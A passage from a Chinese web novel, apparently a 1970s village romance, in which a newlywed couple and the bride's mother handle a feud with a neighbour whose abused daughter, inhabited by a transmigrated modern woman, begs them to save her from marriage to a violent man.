她觉得自己又闭上眼好一会,问:“还没走完嗎?” 其实也才不到一分钟,人已经走了差不多,余银淡淡道:“没,晕着吧。” 王桂香想说可以起来了,但被余银一个眼神扫过去,闭上了嘴巴。 她心里惦记着虎丫,向游雾州看过去。 游雾州顿了顿,剛张开嘴巴,余银冷冷地看向他。 他沉默两秒,硬着头皮说:“舅妈先回去做饭吧,虎丫这会肯定饿了。” 他和王桂香都看着余银,在征求着她的意见。 余银嗯了声,“舅妈先回去吧,我们待会就回去。” 王桂香得到同意,起身就走朝着家的方向走去,“那我先回去做饭了。” 余阿娘听着王桂香都走了,剛想睁开眼,一只手掌盖在她的眼睛上,她闺女声音冷淡:“再晕会,别睁眼让她们看出来了。” 说完,余银垂着头,“你也回去吧,等会我跟娘自己能回。” 游雾州看了眼余银,“我跟你们一起回。” 说完,又想了想补充道:“天这么热,娘刚才让那小孩实顶实给来了下,我等会背着娘回家去。” 余阿娘躺在那听着女婿贴心的话,心里直觉得她没看错人。虽然她在这歇了好半天,一点都不需要人背。 但听到他这样说,心里还是美滋滋的。 对于王大花那些话,她其实自己心里也没把握,游雾州对她们家是不是真的有怨念,毕竟余阿舅跟她说过他的身份不简单,下乡也只是暂时的。 人家打小就在那首都她听都没听过大城市,落水那事她确实存有私心,觉得他到时候家里了,余银也不用待在这杨柳村。 村里又穷又苦,她不愿意让儿女一辈子都窝在这。 尤其是游雾州说的那些话,嘴皮子那叫一个利索,一点都不输她们这些长舌妇。 他护着余家护着余银的态度,再看看王大花她男人连个屁都不放。 余阿娘心里别提有多舒心了,那会跟王大花吵架的郁气也消散了不少。 余银现在烦躁得很,她是真觉得自己当初怎么就非游雾州不可。 就因为他,给自家招了多少事啊。 一个男人,竟然比那未出嫁的姑娘家还要招人说闲话。且还不说后面的那些当老师,考大学那些事儿。 她这当真是嫁了个麻烦精啊。 刚才的情形还历历在目,王大花有的话也说出了其他村民私下小话,这样的话怕一时间还消停不了。 余阿娘是个急躁的人,今就跟人打起来了,难道往后每次都要这样闹上一通。她不知道,但她知道余阿娘现在年纪大了,万一真的跟人有个磕磕碰碰的。 她都不敢往下想了。 余银莫名有些觉得无力,深深呼出口气,“娘,我想跟你说点事。” “人走完了嗎?”余阿娘听到她这样说,也没睁开眼,“走完了我起来。” 余银嗯了一声,余阿娘睁眼起来,躺了一会,身子都难受的慌,她伸了懒腰问,“闺女,你要说啥啊。” 余银看了眼游雾州,到底是没将内心话说出来,只是对她娘说,“娘,咱下次别再太冲动了,你今天都嚇死我了。” “虽然是装的,可要是下次我和舅妈不在怎么办,你一个人呢?经过今天这事,往后她们说就说吧,咱就当个乐呵听听吧,成嗎?” “我又不傻,一个人肯定不会这样。”余阿娘摆摆手不在意地说着,“走走走,快回家去帮忙,你舅妈一个人回去。” 余银在她走的时候时候拉住她,“娘,你能不能别这样嚇我了,我年纪小,也没经过事,我都快嚇死了。” 说完,沉重的叹了口气,揉了揉发酸的鼻子,眼眶微红,“我经不住这样嚇第二次了。” 余阿娘一听,再看她这副样子,心里又闷又难受,不是滋味的很。 她没敢再去看余银一眼,撇过头,装作随口應道:“知道了,知道了。” 又扯过游雾州,“小鱼儿吓坏了,我这当娘的哄闺女也不好跟你抢了,我待先回去帮桂香做饭。” 说完,急匆匆的走了,只是没走两步,抬着胳膊,似乎是在抹眼泪。 游雾州圈着她的肩膀拍了拍,轻声道:“娘那会是装的,她晕倒的时候朝你挤眼了,你没看到。娘心里有数,不会让自己有啥事的,别难过了。” 他不会哄人,也不知道说什么安慰的话来。 这干巴巴的一番话,他自己听着也觉得安慰不了。 余银眼睛红红的,盯着他看。 “怎么了?”游雾州的指腹在她眼皮上轻抹着,“你别伤心了,成吗?” 余银垂眼看了一下,微微皱眉,将他放在眼皮上的手挥了下去。 “那是我 娘,她要有个三长两短我怎么办,你当初为什么要救我,为什么要让我活下来,如果不是我,可能也就没这么多事了。” “你为什么要多事,为什么招惹的都是你的事。” 游雾州默默地看着她,随着她说出口的话,脸色越发的冷淡。 他一直在心里告诉自己,余银是因为余阿娘才会这样的态度,她只是太害怕了,才会慌不择言的说一些不好听的话。 他努力克制着情绪,抿了抿唇,“那你有想过如果不救你,你娘该怎么办?” “余银,你太钻牛角尖了,事情不是你想的那么简单。我知道你想如果不是你活着,可能今天的事情也不会发生,可你有没有想过,不是你还有其他事,也同样会找上余家。” 游雾州抬手去搂她,余银肩膀一扭,转过身子摔开他的手,“别碰我。” 游雾州头痛的叹了口气,直接強硬地将她搂紧怀里。 余银在他怀里挣扎,气的手直接朝他腰拧去,“我说了别碰我,别碰我,你听不话是不是。” 游雾州腰硬的跟板子一样,余银拧不动,更生气,张口就往他身上咬去。 好巧不巧,直接咬在了男人心口处的凸粒上。 她这一口帶着泄愤的力气,男人痛嘶一声,搂着她的胳膊更收紧了些。 余银也感受到口中的东西似乎有些不对劲,慢慢也鬆开了咬着的东西。 空气有一瞬间凝固。 她抬眸,只能看到男人紧绷着的下颌。 “都说让你别碰我。”余银嘟囔着,耳根却红的发烫。 她这倒打一耙的功夫和虎丫还真是如出一辙,也难怪他会觉得余家都是老实人,虎丫却机灵的过头。 感情虎丫都是跟着她这个姐姐余银有模有样学来的。 游雾州黑着脸,“你跟我别什么气,我一大早就起来去买回门要准備的东西,刚到家连口水也没喝,就听说你跟人打起来了。要不是我过来,你今就让她们给撕吃了,你还给我置起气来了,小鱼儿。” 余银本来就理不直气不壮的,也不敢去看他黑如锅底的脸色,指尖捏着衣角,不吭声。 游雾州见她不吭声,接着道:“你跟我无理取闹可以,但你也要给我哄你的机会,我去拉你,还推我咬我,你怎么像个三岁小孩,跟虎丫一样。” 说到虎丫,她这副模样简直,让游雾州觉得有些熟悉。 正细想着,就听到余银轻哼一声,“谁稀得让你哄,我没跟你无理取闹,你也不用哄我,我要回家了,你鬆开我。” 游雾州:“……” 余银要从他出去,游雾州抬手一圈,将人圈的紧紧抱住。 被他这样抱着,余银脸瞬间滚烫,“拉拉扯扯的像什么样子。” “快鬆开,叫人看到像什么样子。” “……” “赶快松开了!我丢不起人了……” 游雾州松缓的脸又黑了,抱着怀里的人故意亲昵晃了两下。 “你再不松开我还咬你了,游雾州!” 游雾州听到着,低头在她耳边小声道:“那你还咬刚才那地。” 余银的脸此时就像是熟烂的苦瓜一样,又烫又红的。 “哎呦。”余阿娘笑嘻嘻看他俩,“小两口感情还真好啊,娘来的是不是不是时候啊。” 余银和游雾州赶紧松开彼此。 余银低着头搓了搓脸,“咋了娘,有啥事啊。” 余阿娘朝她挤眼道:“我也不想打扰你俩好事,这不是没办法才拐回来找你。” 余银瞪了一眼旁边的游雾州,默了默,“什么事啊?” 旁边的游雾州脸上也有,被人撞到亲热场面的尴尬之色。 余阿娘想起刚才的事,就跟余银说:“你不知道王大花这个女的真的坏良心啊,刚才我回去的路上看到她给她家那大丫头踹倒在地上,好家伙,她还准备给那丫头卖给老強子。” “那老強子十里八村的,谁不知道他是个什么货色,哪家有闺女的都不敢说给他,就是年纪大的寡妇也不敢再嫁他。她王大花倒好,要把她家大丫头嫁过去,还准备拿那钱给那俩小的买麦乳精吃。” “这是当娘的能说出口的事吗?” 余银听完有些震惊,“真是老强子?大丫那身板子,老强子打上一顿还有活吗?” 游雾州不知道老强子,但听到余银这样说,皱了皱眉头。 这王大花等于说把闺女往死路上逼了。 那老强子看着老实巴交的,根本不像打女人的,他娶了两个婆娘,前两个不知道从哪传的视频说是耐不住寂寞,跟人跑了,他家就他一个,爹娘也算能干,为了传宗接代,就给他娶了第三个老婆。 他第三个老婆是个不好惹的,在前面几次老强子对她动手的一直没说话,没还过手。直到第三个老婆家里有事,一块回娘家的时候,才知道老强子经常打她,袖子一掀,那都不敢看。 那女人家里也不是个老实的,本来就是指望她嫁过去捞东西,谁知道东西没捞着,还给人打成那样,当时就摁着他,回他们家狠狠敲了一笔。 娘家家里也不想养着她,就准备敲一笔大的,还让老强子帶回去,那第三个老婆知道她回去肯定没活路,当即去找了妇联,大肆宣扬后,直接跑了。 人们这才知道,老强子打老婆,下手黑,还特意不打脸和脖子,专挑看不见的地方。 前两个也是被他打死的,可因为有第三个老婆的一面之词,还找不到她人,警察给老强子带去问话,他一口咬死没有。 也找不到尸体,没办法,人又给放回来了,只是再也没有人家敢跟他家结亲了。 “作孽啊。”余阿娘摇摇头,“可不是嘛,我听的一清二楚的,那丫头被踹傻了在那躺着,也没人管她。” “快走,快走,万一她想不开做傻事咋个办。” 余银挽上她娘的胳膊快步走着,“咱们和她娘不是才刚闹过,她会不会不领情啊。” “什么领情不领情的,天可怜的,跟你一样大的姑娘,躺在那也没人管,咱俩搭把手给她抬回去算了。”- 余银她们过来时候就看到,柳大丫躺在烫热的地上,眼神空洞的不知看向何处,身上还有粘了土的脚印子。 她娘不让她叫柳大丫的名字,说那名字不好,晦气,让她不叫避免沾染晦气,也不给柳大丫带晦气。 她和柳大丫是一起长大的,从她有记忆起,柳大丫除了干活都是干活,她娘说俩人很小的时候经常在一起玩。 可她很小时候的事现在也记不住了。 这个女孩跟她一样大,却看着瘦瘦小小的,余银对她印象并不深刻。 可能是因为听说她娘要把她嫁给老强子,现在看她躺在那,觉得她有些可怜。 余银推了推她,“大丫?大丫?” 柳盼娣没一点反應的躺在那,余阿娘说:“我刚才叫她半天了,也没一点反应。” “你说她是不是魂丢了啊?”余阿娘皱着眉,“这会正是大中午的,她躺这也有一会儿了,魂不会叫脏东西给带走了吧?” “真的假的?娘你别吓我啊,”余银往后退了退,一只手臂刚搭上她的肩膀,她瞬间僵着身子,发出尖叫。 “啊!娘,有鬼,有鬼啊。” 余银闭着眼吓得不行,脚就跟灌了铅一样沉,一步都走不动。 余阿娘也被她吓一跳,回头一看,朝她身上拍了一下,“你个死丫头,一惊一乍地,吓死你老娘了。” 余银试探着睁开眼,看到是游雾州,一时间又气又恼,“你也不出声,吓死个人你。” 游雾州眉角一抽,淡淡提醒道:“建国以后不能成精,鬼神之说也算 封建迷信。” 余银撇了撇嘴,想说些什么,但是那封建迷信四个字,让她也反驳不得。 “那你也给我吓够呛,本来都没缓过神来,让你再给一吓。” 游雾州看她脸也有些白,手掌抚上她的额头,“我不是故意的,没事吧?” 柳勝楠是被病人从楼上推下来的时候,失去意识之前,只能感受到风是那样的急切,带来身体上的失重感。 那么高的楼,她掉下去,肯定脑浆都砸开了。 身体上还有持续的疼痛感,周围嘈嘈切切的。 有年纪大一点的声音,还有带着点少女的声音,有些听不真切。 柳勝楠努力的聚焦着眼珠,看清周围的环境她蒙了。 土黄色的地面,远处清晰可见土黄色的房舍,房屋很矮,还有鸡叫,有点像是村里农家乐的景象。 一个穿着灰土色带着许多布丁的老阿姨,在她眼前挥着手,“呀,回魂了。” “小鱼儿,她魂没丢,眼珠子动了。” “真的?就说嘛,鬼魂那种的都是封建迷信。” “柳家大丫头?柳盼娣?”余阿娘喊着她。 柳盼娣? 柳勝楠听着这个名字,眉头紧拧,她有多少年没听到这个名字了。 她被孤儿院收养后,就将原来的盼娣改了勝楠这个名字。 她有些糊涂了,不明白自己这是在哪里,按理说她从三十多层的楼上掉下去,必死无疑,怎么还在活着…… 心里隐隐发毛,头也开始疼了起来,脑子里也出现了一些不属于她的记忆。 她这是穿越了? 真的是穿越??? 还穿到了七十年代,成为重男轻女的家里的老大——柳盼娣。 原身和她一样的年龄,就像是平行时空里的另一个自己。 她比原身幸运的多,从柳盼娣改为柳胜楠,柳盼娣的名字就说明了家里有多想要儿子,为了生儿子,原身的娘也是吃了些苦口。才在生完四个闺女后,又怀上了儿子,并且还是双胞胎儿子。 生了两个儿子后,原身的亲娘那叫一个扬眉吐气,原身的奶奶还杀只鸡给她坐月子吃。可怜原身柳盼娣,她不仅要伺候坐月子摆谱的亲娘,还要伺候两个小奶娃。 原身那时候也才十五六岁,两个弟弟还爱哭闹,一哭,她娘就打骂她,说她没照顾好。 刚生出来的小孩子哪有不哭的,可原身的亲娘又不是没生养过,就是觉得吵到她了,故意找个理由罢了。 现在又因为她自己找事,和余家打起来,输了,被落了面子,心里有气没地方发,又打骂了她一顿,还扬言要将她嫁给打死两个老婆的老强子。 原身本身胆子就小,打架都不敢上前帮忙才被她娘揍,现在又听到这,直接吓坏了,还真将魂吓丢了。 听着她们的谈话,她从原身记忆里找了找,听着她们说话的样子,应该就是今天和原身亲娘打起来的,余家娘俩。 另外那个男的,应该就是余家的女婿,也是原身喜欢的人——游知青。 原身她娘原本也有意将她嫁给游雾州,但天不遂人愿,就在王大花准备找人问问的那两天,她有事回娘家耽搁了一天。 余银落水被游雾州救了,俩人也顺势结婚了。 柳胜楠眨了眨眼,眼前朝她挥手的一个看着有点凶,皮肤偏黑,但五官底子看着不错的妇女,她应该就是余阿娘。 旁边那个,编着两条麻花辫垂在胸前,是这个年代的经典的发型,皮肤白净细腻,鹅蛋脸,看着和余阿娘有些相像,长得挺漂亮的,是余阿娘的女儿余银。 余银旁边那个男人应该就是原身爱慕的男人,一个下乡的知青——游雾州。 男人浓眉高鼻,虽然在乡下,但肤色不仅不黑,还挺白的,五官精致清隽,身上穿着泛黄的白衬衣,一截袖子微微卷起,露出一截结实的手臂来。 这样放在她那个世界都极品的男人,也难怪原身爱慕她。 可以已婚了,她没有插足别人婚姻家庭的想法。 只能压下原身心中的悸动。 “你没事吧。”余阿娘又问她。 柳胜楠摇摇头又点点头,“婶子,你能扶一下我吗?身上疼的起不来了。” “作孽啊。” 余阿娘摇摇头感概,一手绕过她的腋下搂着她,将她的手放在自己肩膀上借力,慢慢将她扶起来。 “要我帮忙吗?”余银问道。 “不用,”柳胜楠身子板又瘦又小,还没有一袋子粮食重,余阿娘轻轻松松将她扶起来,又问柳胜楠,“能走吗,柳大丫头。” 柳胜楠这么一站,感觉身上更疼了,尤其是肚子和腿,原身的娘下脚可真狠,她都觉得是不是出血了。 她咬着唇说:“婶子,身上疼的厉害,你能不能扶点我走啊。” “哎呀。”余阿娘叹了口气,“我倒也想扶着你,就怕待会往村里走,让人看到再传进你娘耳朵里。你也知道今婶子刚跟你娘闹上一通。” 柳胜楠想到原身的娘,就皱起眉头,怕是又要一顿毒打了,况且她娘那会走的时候还让她赶紧回去做饭,这个时候,估计回家也是一顿打。 就原身这身板子,她都怕自己受不住人再没了。 “扑通”一声,柳胜楠跪在地上,面带祈求:“婶子,你救救我,求你了,我不想被我娘打死,不想嫁给那老强子。” “我会死的婶子,你救救我吧,我知道你心善,我以后肯定会报答你的婶子。” 她眼泪哗哗地往下流,还朝着余阿娘磕头。 余阿娘:“这……。” 柳胜楠一想到自己没死,虽然穿越了,但至少还在活着,就一脸哀求看向余银,“我真的只想活下去,余银妹妹,我要是回家了,我娘要打死我的,还要把我嫁给老强子,那我真的一点活路都没有了。” “婶子,余银妹妹,救救我吧,我不想死,我才二十岁,我的人生才刚刚开始啊。” 余银见她这副模样看向她娘,她娘也没想到。 她们都知道柳胜楠要是嫁给了老强子,等于是没有了活路,可这是柳家的家事,她们插不了手,也不管了。 可是现在柳胜楠又求到她们头上了。 见余银和余阿娘面露犹豫,她又朝她俩磕了几个响头,“我真的不能回去啊,婶子,余银妹妹,村里妇联婶子是我堂伯母,我只能等死啊,我还不想死,我想活着,帮帮我,救救我行吗,求求你们了。” 她的头在地上磕了很多下,地面上有小土粒,硌的她额头已经渗出血丝了,可她一点都不在乎,她不想死。 柳胜楠知道余阿娘心软,她还是唯一一个不爱叫她名字的,还会让余银也不叫她名字,只称作大丫。 她是柳大牛和王大花的大丫,不是为了求男孩弟弟的盼娣。 余阿娘前两年救过原身一次,那时候柳光宗和柳耀祖一岁多的时候,王大花以家里粮食不多要留给弟弟吃为由,将她们姐妹四个原本就稀少的饭,又减了一半。 妹妹们还小,减少一点还没事,她和招娣还要干重活,照顾孩子那点饭吃了和没吃一样。 她跪在门口给柳光宗和柳耀祖当马骑,因为太饿了,饿倒了过去,将柳光宗和柳耀祖摔倒在地上。 两个小孩被摔倒疼哭了,恰巧被余阿娘看到,过来帮她扶起来,听到她肚子咕咕响个不停,从家里拿了吃的给她,还让她偷偷的吃。 晚上王大花下工回来,柳光宗和柳耀祖话都说不利索的年纪,向她告状说把他俩摔倒了。又是一顿毒打,当时还是冬天,两个小孩根本就不疼,但就是喜欢看姐姐们挨打。 那天原本算差点被打死,还将她关在门外,不让她回家。 原身也没地方可去,就在门口蹲了着,当时余银夜里发热,余阿娘去请赤脚大夫的 时候,经过她家门口,看到了晕倒了她。 让大夫帮忙看了,还给她带回家喂了药,第二天天不亮把她叫醒,让她又回家去了,还让她每天偷偷过来吃药。 原身如果不是余阿娘,早就死在了那天。 余阿娘救过她一次,柳胜楠知道她不应该仗着余阿娘心软,再让她救一次。 可是她没有办法。 没人能救她,大爷是村支书,堂伯母是妇联主任,王大花不是开玩笑要把她嫁给老强子,她跑也跑不了,这个年代没有村里盖的证明哪里都去不了。 余阿娘要是愿意救她,她总归是能活下去的。 余阿娘和余银都有些心软,可是才刚和王大花闹过,该怎么办才好啊。 第20章 第20章至少尽力了 她实在可怜,可是这样的可怜人并不少。 比她还要惨的大有人在。 余银的犹豫是对余阿娘,她太知道自己的娘是个多心软的人。 甚至余阿娘都可以不跟余阿舅商量,就把人带回去,因为余阿娘不管什么事情,余阿舅都会兜底。 可剛才的事,游雾州说没那么简单,柳家和余家中间还隔了村支书的位置,巴不得有个能拿捏余家的事情。 落水一事,她和游雾州已经结婚,再翻浪也翻不到哪去,可今天若是余阿娘将人带回去了呢? 她不想嫁给老强子,大可以去婦聯,现在已经不兴包办婚姻了,可为什么非要讓余阿娘救她。 柳勝楠就是笃定了余阿娘是个心软的,也不会考虑的太多,她要想从柳家脱身,那余家估计也要送出去点什么才能行。 況且两家打起来的事还没有解决,现在她们家在主动将人带回去,这不是摆明了要将把柄送给柳家。 余银以前不会考虑这么多,可今天经过游雾州所说,覺得落水一事的谣言迟迟不散,可能还真跟柳家脱不了干系。 想到这,余银看向柳勝楠的没有了心软了,倒带了些审视的意味。 余阿娘深吸了一口气,像是下某种决心,正想说些什么,余银率先开口:“大丫,我找人叫你妹妹过来扶你。” “謝謝你们,你们就是我的大恩人。”柳勝楠哭着感谢,但似乎也有些反应过来她的话,猛的僵住:“不对,什么意思?我怎么没明白。” 余银凝视着她,长长地叹了口气,道:“我们不能带你回去,可以幫你叫你妹妹过来带你回去,你就在这歇一会,也不会有什么危险。” 柳胜楠瞪大了眼睛,不可置信地问她,“为什么?为什么不能救救我,我现在回家就等于去送死了,余银妹妹,余婶子。” “救救我吧,我真的不想死。”说完,抬手抱着余阿娘的腿。 余阿娘拽了拽余银的袖子,余银彎腰,将她拽着余阿娘腿的手掰开,“对不起,不是我们不想幫你,只是你娘那边,我们实在没办法……” “王大花是王大花,我是我啊。”柳胜楠哭着对她说:“我没说过一句你们的不好,也没有动过一下手,我不是她啊。余阿舅是大队长,肯定能幫我的,余婶子,你救救我吧,好不好。” 余阿娘皺着眉,有些欲言难止,半晌还是忍不住开口,“小鱼儿,这样是不是有点太心狠了,其实咱家能给的起她一口饭吃。” “心狠?那以后她就是你女儿了。”余银侧头看向余阿娘,带着淡淡的讽刺,“我给她腾位置,行吗?余婶子?” 余阿娘剜了她一眼,“婶子什么婶子,你个死丫头,没大没小的,什么胡话都说得出口,老娘早晚有一点讓你气死。” “我肯定是做了什么孽,老天让我生下你来治我的。在乱说一句,扇你了啊。” “先说胡话的可不是我。”余银目光落下跪着的柳胜楠身上,指的誰,不言而喻。 接着轻飄飄地说了句,“毕竟你都要给别人娘了。” 余阿娘气的嘴歪眼斜,对柳胜楠的那些可怜,全变成了被余银气到不行。 柳胜楠覺察不妙,“余银妹妹,我真的不会跟你抢余婶子,肯定会把你当作亲妹妹的。你信我,真的。” 她四指并拢,做出发誓的样子,“我发誓,若是、” “不用了。”话没说完就被余银打断,“我们去叫你妹妹来,城里婦聯的人还没走远,我们可以去帮你把情況告诉她们,婦聯不会不管的。” “我们走了。”余银不想再废话,拽着余阿娘胳膊就走了。 游雾州全程一言不发,他对余银的做法是完全没想到的,也是表示赞同的。 余家又不是收容所,今帮了她,明在来个其他人,人可以心善,但也不能太善。 若是像余阿娘那样的善人,早晚会被她所救之人捏死的。 余银挽着余阿娘胳膊,直接道:“我就心狠,你别问,也别说,你只管去叫她妹妹来,我和游雾州去找婦聯的人。” “你要是敢背着把人带回家,藏起来,或者去求舅舅,你就以后就她当你闺女,我也不认你这个娘了。” 余阿娘一臉黑线,一巴掌拍在余银背上,“我剛才跟你说的话,你是不是一句没听?” “老娘辛辛苦苦给你养这么大,你还敢不认我这娘?余银,誰给你的胆子,你问问你阿舅,他敢说不认我这个姐那吗?” 余银甩开她的胳膊,拉着游雾州的手就往前跑,“你也记住我说的话,我可是啥都做的出来,到时候我就去我哥,说你为了一个不相干的人,不要我这个女儿把我赶出家门了。” “还要上赶着给别人当娘,还说我心狠。” “嘿,你死丫头敢跑去找余金胡扯八道,老娘揍死你。”余阿娘跑了几步,就插着腰吼道。 余银拉着游雾州头也不回跑着,回头看余阿娘没追,才气喘吁吁的停下。 “你脑子好使,咱们现在往哪走啊?”余银喘的不行,旁边的游雾州却面色无常,让她很不解的问:“你跑起来咋跟没事人一样?” 游雾州淡淡扫了她一眼,又回头看了一下她倆跑的那一截路,实在是太短了。 还没开始喘就停下来了。 他觉得余银的身体素质真的有点不好,跑也跑不动,晚上还只能来一次,到后面直接都累的睡过去了。 游雾州:“咱们现在去找那两个妇联的人?” 余银点头,“不是说了帮她跟妇联那倆人说她的情况吗?妇联不是管这个吗,总不能真看着她死不管吧。” 像是想到了什么,余银咬了咬唇,问他:“我剛才不把她带回家,就是心狠吗?” 她自己就给余家添了多少麻烦不说,再来一个更麻烦的,那王大花不带给余家闹翻天,那她们家还过不过了。 真的烦死了,她娘还说她心狠! 还是为了一个一个不相干的人,余银越想越委屈,越想越生气。 余银向游雾州,他挑了挑眉,“不会,我觉得你今天这样做很好,柳家不是任人揉搓的软柿子,而贪婪又无耻的蝗虫。咱们家要是听娘的把她带回家,那就是给家里找了个大麻烦。” “我才刚来家里,说的话娘也不一定会听,你做的选择很好,咱们去找妇联的人说明情况,也算帮了她。至于后面会发生的什么事情,那都跟咱们无关,因为你也尽力了。” 游雾州说的话跟自己想的差不多,有人跟自己一样的看法,让余银觉得她是被认同的。 听着心里舒坦了不少,“就是嘛。” 不过她还是发牢骚道:“娘还要说我心狠,要不是怕她揍我,我都想说她怎么这么笨。那大丫又不是这会儿就去死,那不是还没嫁给老强子,啥事不到最后都不一定。娘真是笨,她把人领回家去,王大花不带讹死咱家了。” “真是多亏我脑子转得快,不然要给家里找多大麻烦。” 游雾州带着她往村口走去,“是,要不是你,这会家里怕是又要闹起来了。” 余银满意的哼哼道:“那是,我阿舅常说我是家里最聪明的,他这个大队长都不如我聪明呢。” 她皮肤白,日头下能看到臉上的白色绒毛,眉毛彎弯,唇畔粉嫩,尤其是那双眼睛,笑起来水亮亮的,仿佛是被太阳照着的水面细碎的磷光。 晃的人心一颤一颤地。 这样的余银很鲜活,刚才跑起来平静的心跳,现在却仿佛要从胸口跳出去一样。 游雾州看着她那傲娇的小模样,觉得她要是有尾巴,现在已经翘上天去了。 有点像他以前在朋友家看到波斯猫,很想上手摸一摸她的下巴。 他喉咙吞咽了几下,才压下那股冲动,抬了又放的手终究还是没克制住,摸了摸她光滑的下巴。 余银:“???” 她眨了眨眼,怔在了原地。 游雾州这是??? 为什么突然摸她下巴啊,余银很不明白。 这怎么那么像,她逗大黄时会做出来的动作啊。 余银鼓了鼓脸,“你在逗狗呢?” 游雾州轻咳一声:“没,你下巴刚粘了点灰。” 余银纳闷的皺了皱眉,但也相信了他的说辞。 毕竟游雾州应该不会把她当成狗来逗吧…… 他们没走多久,就到了离村里妇联处那边,门口还停着辆自行车,看样子人还没走。 余银戳了戳游雾州的胳膊,“咱们就在这等着?” 游雾州点头,“估计待会就走了,她们不会久留的。” 刚说完,就看到那两人走到自行车边,他俩没往跟前去,找了个妇联那边看不到位置。 等妇联的人过来,余银和游雾州出来,“那个领导,我有点事想跟你们说一下。” 妇联的两人对视了一眼,又看了看身后,“说吧,同志。” 余银将柳大丫的情况跟她们说了一下,那两个人的脸色有些凝重,点了点头,“我们会去核实一下,在向上面汇报一下。”【你现在阅读的是 】 20-30 第21章 第21章撩人而不自知 余阿舅他们去趟县城开会,估計都要到下午才回来了。 中午吃的大碴子加红薯煮的粥,又炒了盘青菜。吃完饭就各自回房间休息,养足精神下午还要上工,等余阿舅们回来且还有的闹。 余银进屋后直接躺在床上,睁着眼看屋顶,叹了口气,“一天也才过了快一半啊。” 游雾州刚关了门进屋,听到她这么说,就顺着问了一句,“怎么了?” 余银的眼神有些崆洞,“感觉发生了好多事,竟然也才过去了一半时间。上午的事还要等到下午,我都觉得这么多事,像是过了好几天一样。” “船到桥头自然直。” 余银眼珠往他那斜了一眼,看他从柜子里拿出一个桃红色网纱,像是蚊帳,随口道:“你手里拿的啥,買蚊帳了吗,咋那么像蚊帳?” 说到蚊帳,余银就觉得自身胳膊上被咬的部位又些痒了,伸手挠了,接着防空。 游雾州嗯了一声,“再不買,都没时间去镇上买了。” 他俩結婚的时候差不多啥都买了,连冬天的被褥都给打好了,但唯独落了夏天最重要蚊帐。 这两天睡觉的时候,白天还好,晚上俩人做完事睡的沉,白天挠的时候才发现咬了好多疙瘩。 他今天去镇上,特意跑了好几家店才买来的蚊帐。 余银一听是蚊帐,从床上坐了起来,惊喜道:“那赶紧撑上,这两天可被咬坏了,要不是娘说結婚了只能用新的,我真想把我原来那个旧的拆了拿过来用。” “我需要幫你做点什么?是不是要先去找棍子啊,还有绳子啊?”余银说着就要下床去找东西。 游雾州眼疾手快握住她垂下床的腿,她在房间里就穿了件背心和到膝蓋的裤子,小腿白白嫩嫩的,手感细腻,但现在上面却有几块青紫色的痕迹。 他抬手輕輕碰了一下。 “嘶……” 余银倒吸一口凉气,想缩回腿,但被他摁紧了,拧着眉说他:“疼啊,你还摁它。” 说完,游雾州低下身子,紧接着,丝丝缕缕的温热气息在扑面袭去淤青处。 这种触感讓她忍不住的颤栗,脚趾绷紧,心跳也开始加快。 余银臉有些微热,不自然地将腿抽回,侧跪坐在床上,眼神根本不知道在看哪,反正不敢去看游雾州。 “搭,搭蚊帐的竹竿棍你找了吗?咱们是不是还要先去找了才能搭。” 游雾州抬起眼看她。 眼底多了几分笑意,接着道:“家里有,你先睡吧,我去外面拿棍子和绳来。” 说完,游雾州站起身走向屋外。 余银蜷缩着的腿伸直,俯身看了一眼小腿上的淤青,伸手摸了摸,嘴里輕輕嘶着气。 不由得想到刚才,游雾州的嘴唇离她的都快要挨着了,轻呼着气息在她的淤青处,为她减轻痛感,他眉眼低垂,温柔的不像他。 余银有些回味刚才,又抬手碰了碰淤青处,在学着游雾州的样子轻轻吹着,就像是他为自己吹一样。 直到听到屋外的脚步声,她才恍然惊醒,自己刚才是在做什么。 门被推开,余银有些慌张地躺下,捞起被子蒙上脑袋。 游雾州抱着竹竿棍子愣了一下,把棍子搁在地上,关上门,开始把棍子绑在床上,就像搭个简单的架子一样。 在床上面用竹竿棍打搭,先绑好棍子,再把蚊帐挂在上面绑好,下面的压在床板上,村里的蚊帐都是这样搭的。 搭好蚊帐,床上的人也不知道什么时候睡着了,可能是觉着热,蒙着头被子也掀开了,身上啥也没蓋,小背心也卷到了胸口处。 上面有着密密麻麻飘落的红梅。 游雾州喉结微动,沉默地看了一会儿,也不知想了些什么,最后深深地看了她一眼,端着盆出去又进来。 哗啦的水声帶着点凉气,在静谧的屋内响起。 冲洗完,游雾州擦干身上后,就躺在了床上。人刚躺上去,旁邊的人似乎感知到了他才洗过冷水澡,身上正凉快着,直接翻身,贴在了男人身上。 还舒服的蹭了蹭,发出一声渭叹。 游雾州瞪着眼看帐顶,听着身上传来的呼吸声,还帶着诱人的馨香,那股压下去的火气,以迅雷不及掩耳之势,蹭的一下,雄赳赳气昂昂地站起来了。 他闭了闭眼睛,无奈的在心中叹了口气……- 下午还要接着上工,余银她们还要和王大花一起做活。 这就是一个村里吵架后的不好,尤其是住得近的还一个村,整日里抬头不见低头见,做活也是在一块儿。 一下午那气氛也是有点一言难尽里,当事人都在那,其余的想说点啥,也不好意思说太多。 余阿舅和村支书他们,在下午上工没多久就回村里了,刚回村,就被村民告知了上午的事。 还将余阿娘晕倒也说了。 柳支书有些心虚的看了一眼余阿舅,那臉上帶着冷冷地怒意。 他呼吸一紧,几乎是想掩盖什么,还没来得及解释,就见余阿舅对着村长冷冷道:“我去看看我姐。” 说完头也不回地走了,村长看着柳支书叹了口气,“你啊,咋就给人也撞晕了,有个三长两短可怎么办,他给家里人看多重要你不知道?” 柳支书臉色訕訕,没说话。 他就是知道余阿舅这人把家人看的很重,才讓王大花借着落水的事挑事,好讓余家因为余银在村里颜面扫地,抬不气头来,到时候余阿舅管他外甥女的事都来不及,也不会去想着他支书的位置。 但他真没想到不仅事情没按照他预期的方向发展,余阿娘还被撞晕了,现在事情好像有些不好收场了- 余阿舅先去找了游雾州,见到他之后,游雾州第一句话就是,“娘没事,那会见情况不对,她是装晕的。” 余阿舅紧绷的臉听完才松了下来,又问他:“你怎 么也没去拦着点,小鱼儿那瘦弱的样子,你舅母又是个胆小的,也就你娘泼辣,三个人只能当一个使,没受伤吧她们。” 他听那村民说余银打了王桂花,是一点不相信的,就余银那身板,他倒觉得是被王大花揍了。 一个胆小的,一个身弱的,就一个余阿娘泼辣,但年纪也不小了,跟正年轻力壮的王大花比起来,余阿舅认为她们落了下风。 